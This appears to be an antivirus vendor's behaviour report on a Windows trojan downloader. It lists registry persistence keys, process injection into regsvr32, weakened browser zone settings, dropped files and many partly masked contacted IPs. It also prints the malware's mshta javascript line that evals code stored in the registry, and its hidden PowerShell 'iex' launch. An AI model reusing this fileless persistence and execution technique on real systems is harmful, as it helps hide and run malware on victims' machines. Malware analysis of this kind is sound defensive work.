Trojan.DownLoader35.3397

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKCU>\SOFTWARE\Classes\4547e\shell\open\command] '' = '"<SYSTEM32>\mshta.exe" "javascript:qG70wLIPW="xa";c29B=new ActiveXObject("WScript.Shell");npNz8hdW="wPqHCb";a7Gvv=c29B.RegRead("HKCU\\so...
[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'uatkebulu' = '"%LOCALAPPDATA%\5308a\fb176.bat"'

Malicious functions

Injects code into

the following system processes:

%WINDIR%\syswow64\regsvr32.exe

Modifies settings of Windows Internet Explorer

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1206' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '2300' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1809' = '00000003'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1206' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2300' = '00000000'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1809' = '00000003'

Modifies file system

Creates the following files

%LOCALAPPDATA%\5308a\5ec08.0d125e
%LOCALAPPDATA%\5308a\fb176.bat

Deletes itself.

Network activity

Connects to

'10#.#6.206.125':80
'21#.#9.112.59':8080
'29.##.120.244':443
'22#.#09.38.8':443
'24#.#0.47.161':80
'12#.#44.62.246':80
'11#.#28.123.133':80
'42.#6.75.39':80
'73.##3.64.39':80
'23.#.170.58':80
'82.##.174.158':443
'15#.#46.205.128':80
'24#.#23.203.35':443
'11#.#10.110.37':80
'22#.#24.84.81':80
'46.##.10.177':443
'14#.#50.98.29':443
'19.##.139.174':443
'20#.#36.45.153':443
'67.##8.238.22':443
'20#.#27.188.58':80
'24#.#8.50.224':80
'30.##.117.76':80
'23#.#09.10.133':80
'11#.#6.105.170':443
'29.##.243.52':443
'17#.#95.10.130':80
'16#.#90.198.197':443
'51.##.237.64':443
'19#.#43.3.159':443
'22#.#4.17.204':443
'68.##.201.23':443
'20#.#48.255.217':80
'22#.#29.13.238':80
'85.##3.62.72':443
'73.##5.19.34':443
'24#.#19.65.153':80
'15.##2.152.17':443
'3.##.158.247':443
'18#.#96.205.38':443
'74.##5.162.67':443
'17#.#21.119.134':80
'14#.10.9.62':80
'15#.#7.77.18':8080
'26.##.161.57':80
'22#.#66.100.204':80
'48.##2.18.80':443
'22#.#49.33.60':80
'96.##.14.132':80
'26.##7.45.227':80
'18#.#43.218.1':443
'13#.#2.49.209':80
'50.##1.163.16':443
'15#.#09.159.30':443
'13#.#49.94.244':443
'21#.#2.255.223':443
'47.##.169.215':443
'45.##8.142.239':80
'11#.#2.112.70':443
'55.##.199.184':80
'12#.#7.176.243':443
'13#.#3.42.67':443
'24#.#0.206.107':80
'13#.#01.102.17':80
'22#.#27.135.215':80
'13#.#03.211.68':443
'74.##5.219.59':443
'6.##.243.148':80
'15#.#41.204.233':443
'20#.#4.243.179':80
'21#.#16.240.219':8080
'22#.#8.232.164':80
'20#.#2.189.208':80
'12#.#2.185.69':8080
'18#.#13.225.164':80
'22#.#14.13.193':80
'93.##2.109.166':80
'31.##7.208.92':8080
'17#.#.32.187':80
'17#.#30.226.143':443
'18#.#5.119.255':80
'24#.#39.4.157':8080
'41.##.67.208':443
'23#.#3.197.148':80
'21.##.221.118':443
'24#.#02.164.131':80
'24#.#46.140.126':80
'82.#.117.49':443
'17#.#35.135.128':80
'23#.#4.150.162':80
'10#.#.11.189':443
'73.#.234.20':443
'50.##.132.109':80
'19#.#96.25.155':80
'37.##.103.242':80
'85.##4.48.90':443
'15#.#5.27.87':443
'16.##.110.144':443
'4.##6.83.49':80
'14#.#75.206.108':443
'39.##1.83.212':443
'94.##2.190.128':443
'20#.#56.21.116':443
'15#.#41.20.43':8080
'18#.#1.114.108':80
'11#.#39.183.111':443
'13#.#08.106.2':443
'18#.#7.195.170':443
'4.##.115.55':443
'24#.#8.140.113':443
'99.##1.54.113':80
'21#.#34.219.209':443
'31.##5.82.230':80
'13#.#14.4.201':80
'23#.#9.160.179':80
'19#.#90.40.35':443
'86.##1.92.221':443
'37.##1.218.8':443
'23#.#40.194.137':443
'67.##8.141.24':80
'19#.#34.245.186':80
'17#.#72.219.93':80
'20#.#8.97.133':80
'15#.#07.72.238':80
'21#.#46.86.156':443
'2.#.215.195':80

Miscellaneous

Searches for the following windows

ClassName: 'MS_AutodialMonitor' WindowName: ''
ClassName: 'MS_WebCheckMonitor' WindowName: ''

Creates and executes the following

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' iex $env:xwdoixc' (with hidden window)

Executes the following

'<SYSTEM32>\mshta.exe' javascript:ZOmWGn0="WTK18w";rG14=new%20ActiveXObject("WScript.Shell");JmU7f4="1iY";HsPX5=rG14.RegRead("HKCU\\software\\sQJW67\\nVlBrL");LnP2GVL="SW5";eval(HsPX5);wAedX7Oq1="4";
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' iex $env:xwdoixc
'%WINDIR%\syswow64\regsvr32.exe'